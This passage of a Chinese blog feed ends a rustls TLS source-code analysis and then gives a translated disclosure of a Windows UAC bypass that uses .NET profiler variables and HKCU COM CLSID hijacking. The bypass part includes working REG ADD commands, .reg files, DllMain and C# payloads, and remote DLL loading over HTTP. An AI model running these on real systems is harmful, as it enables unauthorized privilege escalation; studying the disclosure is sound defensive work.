true;</span><br><span class="line">        self.flush_plaintext();</span><br><span class="line">    &#125;</span><br><span class="line">-&gt;</span><br><span class="line">flush_plaintext-&gt;send_plain-&gt;send_appdata_encrypt-&gt;send_single_fragment-&gt; encrypt_outgoing(加密)</span><br></pre></td></tr></table></figure> <p>握手完成之后调用的<code>send_some_plaintext</code>是直接将数据加密缓存，在write_tls后发送出去。</p> <h3 id="server详解"><a href="#server详解" class="headerlink" title="server详解"></a>server详解</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">src&#x2F;server&#x2F;mod.rs 导出ServerSession接口，外部使用</span><br><span class="line">src&#x2F;server&#x2F;hs.rs tls协议中所有包处理，包括握手和传输</span><br><span class="line">src&#x2F;client&#x2F;</span><br></pre></td></tr></table></figure> <p>公开外部使用的借口ServerSession，内部由ServerSessionImpl实现。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">pub struct ServerSessionImpl &#123;</span><br><span class="line">    pub config: Arc&lt;ServerConfig&gt;, &#x2F;&#x2F;证书、密钥等配置</span><br><span class="line">    pub secrets: Option&lt;SessionSecrets&gt;, &#x2F;&#x2F;会话密钥</span><br><span class="line">    pub common: SessionCommon, &#x2F;&#x2F; 实际握手传输数据处理对象</span><br><span class="line">    sni: Option&lt;webpki::DNSName&gt;, &#x2F;&#x2F;SNI(Server Name Indication) ，解决一个服务器使用多个域名和证书的SSL&#x2F;TLS扩展</span><br><span class="line">    pub alpn_protocol: Option&lt;String&gt;,</span><br><span class="line">    pub error: Option&lt;TLSError&gt;,</span><br><span class="line">    pub state: Option&lt;Box&lt;hs::State + Send&gt;&gt;, &#x2F;&#x2F;握手和传输中处理数据包的状态，每个状态的数据包处理对象</span><br><span class="line">    pub client_cert_chain: Option&lt;Vec&lt;key::Certificate&gt;&gt;, &#x2F;&#x2F;client证书链</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p><strong>接口基本和ClientSession类似，不再详述</strong></p> <p><strong>握手流程</strong></p> <p>server和client处理握手的方式都一样，每个握手包处理对象都会实现State接口。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">pub trait State &#123;</span><br><span class="line">    fn check_message(&amp;self, m: &amp;Message) -&gt; CheckResult;</span><br><span class="line">    fn handle(self: Box&lt;Self&gt;, sess: &amp;mut ServerSessionImpl, m: Message) -&gt; StateResult;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>然后在收到client消息之后，在<code>process_main_protocol</code>中调用对应握手包对象的handle函数，并且会返回握手期望处理的下次数据包对象给state，以便下次收到消息继续处理。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;process_main_protocol</span><br><span class="line">self.state &#x3D; Some(st.handle(self, msg)?);</span><br></pre></td></tr></table></figure> <p>握手流程：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">-----ExpectClientHello::handle</span><br><span class="line">-----ExpectTLS12Certificate::handle &#x2F;&#x2F;如果需要验证client的证书，有这步</span><br><span class="line">-----ExpectTLS12ClientKX::handle &#x2F;&#x2F;密钥交换</span><br><span class="line">-----ExpectTLS12CertificateVerify::handle &#x2F;&#x2F;验证client证书</span><br><span class="line">-----ExpectTLS12CCS::handle &#x2F;&#x2F;通知使用加密方式发送报文</span><br><span class="line">-----ExpectTLS12Finished::handle &#x2F;&#x2F;握手完成</span><br><span class="line">-----ExpectTLS12Traffic:: handle &#x2F;&#x2F;开发传输数据</span><br></pre></td></tr></table></figure> <p><strong>消息传输</strong></p> <p>同样，握手完成后，server在<code>ExpectTLS12Traffic::handle</code>中处理后续的传输协议中的消息。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">impl State for ExpectTLS12Traffic &#123;</span><br><span class="line">    fn handle(self: Box&lt;Self&gt;, sess: &amp;mut ServerSessionImpl, mut m: Message) -&gt; StateResult &#123;</span><br><span class="line">        println!(&quot;-----ExpectTLS12Traffic::handle&quot;);</span><br><span class="line">        sess.common.take_received_plaintext(m.take_opaque_payload().unwrap());</span><br><span class="line">        Ok(self)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>数据加密和解密流程基本和client类似，不再详述。</p> <p><strong>另外，client和server握手中需要发送的数据包构造都在hs.rs::emit_xxx函数中</strong></p> <h3 id="消息相关"><a href="#消息相关" class="headerlink" title="消息相关"></a>消息相关</h3><p>该部分存在单独的msgs目录下，包含了握手过程中各种消息类型的定义，消息传输具体设计的<code>fragment/deframe</code>等。</p> <p>所有消息统一的结构<code>Message</code>，<code>Message</code>也定义了一下方便获取字段和数据的借口，这里不再详述。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">pub struct Message &#123;</span><br><span class="line">    pub typ: ContentType,</span><br><span class="line">    pub version: ProtocolVersion,</span><br><span class="line">    pub payload: MessagePayload,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">&#x2F;&#x2F;msgs&#x2F;message.rs</span><br><span class="line">MessagePayload</span><br><span class="line">BorrowMessage</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;msgs&#x2F;handshake.rs</span><br><span class="line">包含握手过程中，证书、密钥交换的一些数据结构</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;msgs&#x2F;deframe.rs</span><br><span class="line">定义了MessageDeframer，管理Message数据，read&#x2F;deframe_one</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;msgs&#x2F;hsjoiner.rs</span><br><span class="line">HandshakeJoiner，重建握手数据，验证数据等定义</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;msgs&#x2F;enums.rs</span><br><span class="line">各种版本号，算法类型号，握手包类型序号等等的enum定义</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;msgs&#x2F;ccs.rs</span><br><span class="line">密钥交换相关定义</span><br><span class="line"></span><br></pre></td></tr></table></figure> <h2 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h2><table> <thead> <tr> <th>文件</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td>key.rs</td> <td>密钥、证书结构定义</td> </tr> <tr> <td>pemfile.rs</td> <td>PEM文件解析生成密钥相关接口</td> </tr> <tr> <td>verify.rs</td> <td>证书验证相关</td> </tr> <tr> <td>suites.rs</td> <td>加密套件、密钥交换相关</td> </tr> <tr> <td>sign.rs</td> <td>签名相关</td> </tr> <tr> <td>vecbuf.rs</td> <td>所有消息数据最底层存储结构，vec构成</td> </tr> <tr> <td>webpki</td> <td>三方库，完成证书验证</td> </tr> <tr> <td>ring</td> <td>三方库，完成加密算法相关能力</td> </tr> </tbody> </table> <p><strong>下篇在根据示例代码分析一下rustls库具体的使用</strong></p> <p>转载请注明出处：<a href="https://anhkgg.github.io/rustls-source-code-analyze/">https://anhkgg.github.io/rustls-source-code-analyze/</a></p> ]]></content>          <summary type="html">            &lt;ul&gt; &lt;li&gt;作者：&lt;strong&gt;anhkgg&lt;/strong&gt; &lt;/li&gt; &lt;li&gt;日期：&lt;strong&gt;2017-11-16&lt;/strong&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;rustls已经支持tls1.3，但是测试分析中使用的tls1.2，所以后面分析主要集中在tls1.2。&lt;/p&gt; &lt;p&gt;主要分析的源码内容：&lt;/p&gt; &lt;ol&gt; &lt;li&gt;client和server的握手协议流程&lt;/li&gt; &lt;li&gt;rustls是如何进行数据传输的&lt;/li&gt; &lt;li&gt;数据传输是如何加密解密的&lt;/li&gt; &lt;/ol&gt;          </summary>            <category term="rust" scheme="https://anhkgg.github.io/categories/rust/"/>                 <category term="rust" scheme="https://anhkgg.github.io/tags/rust/"/>            <category term="rustls" scheme="https://anhkgg.github.io/tags/rustls/"/>            <category term="源码分析" scheme="https://anhkgg.github.io/tags/%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/"/>            <category term="TLS/SSL" scheme="https://anhkgg.github.io/tags/TLS-SSL/"/>        </entry>      <entry>     <title>翻译：通过.NET程序提权绕过UAC</title>     <link href="https://anhkgg.github.io/tans-net-bypass-uac/"/>     <id>https://anhkgg.github.io/tans-net-bypass-uac/</id>     <published>2017-09-21T06:04:46.000Z</published>     <updated>2017-09-21T06:08:51.861Z</updated>          <content type="html"><![CDATA[<p>.NET框架可以通过用户自定义环境变量和CLSID注册表项来加载profiler DLL或者COM组件DLL，甚至当前进程是提权的。这种行为可以被利用来绕过Windows 7到10（包括最近的RS3）系统的默认UAC设置，如通过自动提权.NET进程（MMC管理单元）来加载任意的DLL。</p> <a id="more"></a> <h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>去年五月， Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加载可能会被滥用，通过环境变量使合法的.NET程序加载一个恶意DLL</p> <p>当看到这一点，脑海中第一种想法就是，如果这个方法在高权限.NET进程也可以工作，那这将是一个绕过UAC的好办法。果然，确实如此。</p> <p>这个问题到写这篇博客时依然没有修复，而且可能一直如此——但是在7月，它被 Stefan Kanthak独立地发现并报告了，按完整披露流程公布了该问题。</p> <h1 id="绕过UAC"><a href="#绕过UAC" class="headerlink" title="绕过UAC"></a>绕过UAC</h1><p>要让一个.NET应用程序加载任意一个DLL，我们可以使用以下环境变量。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">COR_ENABLE_PROFILING&#x3D;1</span><br><span class="line">COR_PROFILER&#x3D;&#123;GUID&#125;</span><br><span class="line">COR_PROFILER_PATH&#x3D;C:\path\to\some.dll</span><br></pre></td></tr></table></figure> <p>在.NET 4以下版本，CLSID必须在HKCR\CLSID{GUID}\InprocServer32定义包含profiling DLL的路径的注册表键。在最近版本中，CLR通过COR_PROFILER_PATH环境变量来找这个DLL，如果COR_PROFILER_PATH没有定义再使用CLSID查找。</p> <p>HKCR\CLSID是HKLM和HKCU下Software\Classes\CLSID组合起来显示的。在HKLM（或者系统环境变量）下创建CLSID键需要提权，而在HKCU下创建不需要。需要注意，在用户环境变量和HKCU注册表项下一切也都工作正常。</p> <p>可以简单使用一段批处理命令让它工作：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">REG ADD &quot;HKCU\Software\Classes\CLSID\&#123;FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF&#125;\InprocServer32&quot; &#x2F;ve &#x2F;t REG_EXPAND_SZ &#x2F;d &quot;C:\Temp\test.dll&quot; &#x2F;f</span><br><span class="line">REG ADD &quot;HKCU\Environment&quot; &#x2F;v &quot;COR_PROFILER&quot; &#x2F;t REG_SZ &#x2F;d &quot;&#123;FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF&#125;&quot; &#x2F;f</span><br><span class="line">REG ADD &quot;HKCU\Environment&quot; &#x2F;v &quot;COR_ENABLE_PROFILING&quot; &#x2F;t REG_SZ &#x2F;d &quot;1&quot; &#x2F;f</span><br><span class="line">REG ADD &quot;HKCU\Environment&quot; &#x2F;v &quot;COR_PROFILER_PATH&quot; &#x2F;t REG_SZ &#x2F;d &quot;C:\Temp\test.dll&quot; &#x2F;f</span><br><span class="line">mmc gpedit.msc</span><br></pre></td></tr></table></figure> <p>这些命令在低权限命令行下可以在高权限的mmc.exe进程中加载C:\temp\test.dll(如果存在)。可以绕过Windows 7到10（包括最新RS3）系统的默认UAC设置。</p> <p><img src="/img/net-bypass-uac-1.png" alt="net-bypass-uac-1.png"></p> <p><a href="https://gist.github.com/clavoillotte/f2fba9fa4ba8db14093a62164963d4a9">内嵌DLL的powershell POC可以在这里找到（只支持X64）。</a></p> <p>这个DLL只在DLL_PROCESS_ATTACH下运行一个cmd.exe，会产生一个提权的命令行终端，然后马上退出当前进程，阻止MMC控制台弹出。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)</span><br><span class="line">&#123;</span><br><span class="line">    char cmd[] &#x3D; &quot;cmd.exe&quot;;</span><br><span class="line"></span><br><span class="line">    switch (fdwReason)</span><br><span class="line">    &#123;</span><br><span class="line">    case DLL_PROCESS_ATTACH:</span><br><span class="line">        WinExec(cmd, SW_SHOWNORMAL);</span><br><span class="line">        ExitProcess(0);</span><br><span class="line">        break;</span><br><span class="line">    case DLL_THREAD_ATTACH:</span><br><span class="line">        break;</span><br><span class="line">    case DLL_THREAD_DETACH:</span><br><span class="line">        break;</span><br><span class="line">    case DLL_PROCESS_DETACH:</span><br><span class="line">        break;</span><br><span class="line">    &#125;</span><br><span class="line">    return TRUE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>在Windows 7,8.1，10 1703和10 RS3 build 16275中测试通过。<br>当然，如果你有可访问的SMB共享，UNC路径也可以工作。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">COR_PROFILER_PATH&#x3D;\\server\share\test.dll</span><br></pre></td></tr></table></figure> <h1 id="根本原因"><a href="#根本原因" class="headerlink" title="根本原因"></a>根本原因</h1><p>COM运行时在运行高权限进程时会阻止在HKCU查找CLSID，所以这种绕过方式无效，但是.NET运行时没有阻止，在这种情况下，.NET在shim组件查找时会查找这些键值。</p> <p><img src="/img/net-bypass-uac-2.png" alt="net-bypass-uac-2.png"></p> <p>如果要修复，需要CLR实现和COM一样的检查。</p> <h1 id="更多维度"><a href="#更多维度" class="headerlink" title="更多维度"></a>更多维度</h1><p>现在我们知道CLR是如何工作的了，我们可以在堆栈中找他CLR调用的其他在HKCU查找CLSID的实例。一个实例是GPEdit（Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager）组件（在我测试虚拟机中CLSID是{B29D466A-857D-35BA-8712-A758861BFEA1}）。</p> <p><img src="/img/net-bypass-uac-3.png" alt="net-bypass-uac-3.png"></p> <p>查看HKCU已经存在的项中，好像是指向CLR程序及自己实现的组件。</p> <p><img src="/img/net-bypass-uac-4.png" alt="net-bypass-uac-4.png"></p> <p>我们可以在HKCU下像这样定义一个COM项（.reg格式）：<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;B29D466A-857D-35BA-8712-A758861BFEA1&#125;]</span><br><span class="line">@&#x3D;&quot;Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;B29D466A-857D-35BA-8712-A758861BFEA1&#125;\Implemented Categories]</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;B29D466A-857D-35BA-8712-A758861BFEA1&#125;\Implemented Categories\&#123;62C8FE65-4EBB-45E7-B440-6E39B2CDBF29&#125;]</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;B29D466A-857D-35BA-8712-A758861BFEA1&#125;\InprocServer32]</span><br><span class="line">@&#x3D;&quot;C:\\Windows\\System32\\mscoree.dll&quot;</span><br><span class="line">&quot;Assembly&quot;&#x3D;&quot;TestDotNet, Version&#x3D;0.0.0.0, Culture&#x3D;neutral&quot;</span><br><span class="line">&quot;Class&quot;&#x3D;&quot;TestDotNet.Class1&quot;</span><br><span class="line">&quot;RuntimeVersion&quot;&#x3D;&quot;v4.0.30319&quot;</span><br><span class="line">&quot;ThreadingModel&quot;&#x3D;&quot;Both&quot;</span><br><span class="line">&quot;CodeBase&quot;&#x3D;&quot;file:&#x2F;&#x2F;C:&#x2F;&#x2F;Temp&#x2F;&#x2F;test_managed.dll&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;B29D466A-857D-35BA-8712-A758861BFEA1&#125;\InprocServer32\10.0.0.0]</span><br><span class="line">&quot;Assembly&quot;&#x3D;&quot;TestDotNet, Version&#x3D;0.0.0.0, Culture&#x3D;neutral&quot;</span><br><span class="line">&quot;Class&quot;&#x3D;&quot;TestDotNet.Class1&quot;</span><br><span class="line">&quot;RuntimeVersion&quot;&#x3D;&quot;v4.0.30319&quot;</span><br><span class="line">&quot;CodeBase&quot;&#x3D;&quot;file:&#x2F;&#x2F;C:&#x2F;&#x2F;Temp&#x2F;&#x2F;test_managed.dll&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;B29D466A-857D-35BA-8712-A758861BFEA1&#125;\ProgId]</span><br><span class="line">@&#x3D;&quot;Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager&quot;</span><br></pre></td></tr></table></figure><br>MMC会加载我们的托管DLL，并且尝试访问TestDotNet.Class1类。C#没有一种简单的创建入口是DllMain的简单DLL（我们很懒所以不想写模块初始化），但是貌似注册表指向的类被加载了，所以我们只需要一个静态构造函数来执行我们的提权代码。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">using System;</span><br><span class="line">using System.Diagnostics;</span><br><span class="line"></span><br><span class="line">namespace TestDotNet</span><br><span class="line">&#123;</span><br><span class="line">   public class Class1</span><br><span class="line">   &#123;</span><br><span class="line">      static Class1()</span><br><span class="line">      &#123; </span><br><span class="line">         Process.Start(&quot;cmd.exe&quot;);</span><br><span class="line">         Environment.Exit(0);</span><br><span class="line">      &#125;</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><br>将DLL放在注册表项定义的位置，然后运行gpedit.msc，可以看到弹出了一个提权的终端（和.NET一样）。</p> <p><img src="/img/net-bypass-uac-5.png" alt="net-bypass-uac-5.png"></p> <p><img src="/img/net-bypass-uac-6.png" alt="net-bypass-uac-6.png"></p> <p>这种方式一个有趣的点是CodeBase不仅限于本地文件和SMB共享，这个DLL还可以从HTTP链接中加载。<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;CodeBase&quot;&#x3D;&quot;http:&#x2F;&#x2F;server:8080&#x2F;test_managed.dll&quot;</span><br></pre></td></tr></table></figure><br>需要注意的是下载的DLL会拷贝到硬盘上，所以这种方式比本地DLL更好检测（硬盘+网络组合）。</p> <p>另外一件好事（对攻击者）是这种方式下可以滥用多种CLSID。<br>下面是在compmgmt.msc，event、vwr.msc,secpol.msc和taskschd.msc可使用CLSID：</p> <ol> <li>托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor组件</li> </ol> <p><img src="/img/net-bypass-uac-7.png" alt="net-bypass-uac-7.png"><br> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;D5AB5662-131D-453D-88C8-9BBA87502ADE&#125;]</span><br><span class="line">@&#x3D;&quot;Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;D5AB5662-131D-453D-88C8-9BBA87502ADE&#125;\Implemented Categories]</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;D5AB5662-131D-453D-88C8-9BBA87502ADE&#125;\Implemented Categories\&#123;62C8FE65-4EBB-45e7-B440-6E39B2CDBF29&#125;]</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;D5AB5662-131D-453D-88C8-9BBA87502ADE&#125;\InprocServer32]</span><br><span class="line">@&#x3D;&quot;C:\\Windows\\System32\\mscoree.dll&quot;</span><br><span class="line">&quot;Assembly&quot;&#x3D;&quot;TestDotNet, Version&#x3D;0.0.0.0, Culture&#x3D;neutral&quot;</span><br><span class="line">&quot;Class&quot;&#x3D;&quot;TestDotNet.Class1&quot;</span><br><span class="line">&quot;RuntimeVersion&quot;&#x3D;&quot;v2.0.50727&quot;</span><br><span class="line">&quot;ThreadingModel&quot;&#x3D;&quot;Both&quot;</span><br><span class="line">&quot;CodeBase&quot;&#x3D;&quot;file:&#x2F;&#x2F;C:&#x2F;&#x2F;Temp&#x2F;&#x2F;test_managed.dll&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;D5AB5662-131D-453D-88C8-9BBA87502ADE&#125;\InprocServer32\3.0.0.0]</span><br><span class="line">&quot;Assembly&quot;&#x3D;&quot;TestDotNet, Version&#x3D;0.0.0.0, Culture&#x3D;neutral&quot;</span><br><span class="line">&quot;Class&quot;&#x3D;&quot;TestDotNet.Class1&quot;</span><br><span class="line">&quot;RuntimeVersion&quot;&#x3D;&quot;v2.0.50727&quot;</span><br><span class="line">&quot;CodeBase&quot;&#x3D;&quot;file:&#x2F;&#x2F;C:&#x2F;&#x2F;Temp&#x2F;&#x2F;test_managed.dll&quot;</span><br></pre></td></tr></table></figure></p> <ol start="2"> <li>Native DLL的NDP SymBinder组件，劫持\Server项</li> </ol> <p><img src="/img/net-bypass-uac-8.png" alt="net-bypass-uac-8.png"></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;0A29FF9E-7F9C-4437-8B11-F424491E3931&#125;]</span><br><span class="line">@&#x3D;&quot;NDP SymBinder&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;0A29FF9E-7F9C-4437-8B11-F424491E3931&#125;\InprocServer32]</span><br><span class="line">@&#x3D;&quot;C:\\Windows\\System32\\mscoree.dll&quot;</span><br><span class="line">&quot;ThreadingModel&quot;&#x3D;&quot;Both&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;0A29FF9E-7F9C-4437-8B11-F424491E3931&#125;\InprocServer32\4.0.30319]</span><br><span class="line">@&#x3D;&quot;4.0.30319&quot;</span><br><span class="line">&quot;ImplementedInThisVersion&quot;&#x3D;&quot;&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;0A29FF9E-7F9C-4437-8B11-F424491E3931&#125;\ProgID]</span><br><span class="line">@&#x3D;&quot;CorSymBinder_SxS&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;0A29FF9E-7F9C-4437-8B11-F424491E3931&#125;\Server]</span><br><span class="line">@&#x3D;&quot;C:\\Temp\\test_unmanaged.dll&quot;</span><br></pre></td></tr></table></figure> <ol start="3"> <li>Native DLL的Microsoft Common Language Runtime Meta Data组件，劫持\Server项（只有secpol.msc可用）</li> </ol> <p><img src="/img/net-bypass-uac-9.png" alt="net-bypass-uac-9.png"></p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Windows Registry Editor Version 5.00</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;CB2F6723-AB3A-11D2-9C40-00C04FA30A3E&#125;]</span><br><span class="line">@&#x3D;&quot;Microsoft Common Language Runtime Meta Data&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;CB2F6723-AB3A-11D2-9C40-00C04FA30A3E&#125;\InprocServer32]</span><br><span class="line">@&#x3D;&quot;C:\\Windows\\System32\\mscoree.dll&quot;</span><br><span class="line">&quot;ThreadingModel&quot;&#x3D;&quot;Both&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;CB2F6723-AB3A-11D2-9C40-00C04FA30A3E&#125;\InprocServer32\4.0.30319]</span><br><span class="line">@&#x3D;&quot;4.0.30319&quot;</span><br><span class="line">&quot;ImplementedInThisVersion&quot;&#x3D;&quot;&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;CB2F6723-AB3A-11D2-9C40-00C04FA30A3E&#125;\ProgID]</span><br><span class="line">@&#x3D;&quot;CLRMetaData.CorRuntimeHost.2&quot;</span><br><span class="line"></span><br><span class="line">[HKEY_CURRENT_USER\Software\Classes\CLSID\&#123;CB2F6723-AB3A-11D2-9C40-00C04FA30A3E&#125;\Server]</span><br><span class="line">@&#x3D;&quot;..\\..\\..\\..\\Temp\\test_unmanaged.dll&quot;</span><br></pre></td></tr></table></figure> <p>（注意：路径必须是相对的，否则mmc.exe会尝试加载C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Temp\test_unmanaged.dll）</p> <h1 id="不是安全边界"><a href="#不是安全边界" class="headerlink" title="不是安全边界"></a>不是安全边界</h1><p>微软多次申明UAC不是一个安全边界，安全从业者以更务实的角度来看它：不要信任UAC，不要用admin运行，用非admin用户运行不需要admin的任务，我非常赞同这种说法。</p> <p>但是依然很多人用admin运行所有的东西，他们都是渗透测试人员和红色组织（都是坏人）感兴趣的目标。所以我猜测还会有新的关于UAC的有趣技术。</p> <p>如果为了渗透测试，我推荐使用<a href="https://tyranidslair.blogspot.fr/2017/05/reading-your-way-around-uac-part-1.html">@tiraniddo的例子</a>（<a 